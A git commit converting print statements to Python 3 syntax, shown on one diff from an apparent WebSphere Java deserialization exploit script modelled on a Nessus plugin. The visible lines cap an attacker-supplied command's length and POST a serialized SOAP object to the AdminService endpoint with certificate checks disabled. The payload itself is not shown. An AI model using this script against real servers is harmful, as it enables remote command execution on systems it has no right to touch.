Use print() function in both Python 2 and Python 3

This commit is contained in:
cclauss
2019-02-17 23:47:18 +01:00
parent 4e17443d62
commit a3ee78fb80
23 changed files with 393 additions and 529 deletions

View File

@@ -4,6 +4,8 @@
#Based on the nessus plugin websphere_java_serialize.nasl
#Made with <3 by @byt3bl33d3r
from __future__ import print_function
from builtins import chr
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
@@ -34,7 +36,7 @@ if not args.command:
elif args.command:
if len(args.command) > 254:
print '[-] Command must be less then 255 bytes'
print('[-] Command must be less then 255 bytes')
sys.exit(1)
ip, port = args.target.split(':')
@@ -75,4 +77,4 @@ headers = {'Content-Type': 'text/xml; charset=utf-8',
'SOAPAction': 'urn:AdminService'}
r = requests.post('{}://{}:{}'.format(args.proto, ip, port), data=xmlObj, headers=headers, verify=False)
print '[*] HTTPS request sent successfully'
print('[*] HTTPS request sent successfully')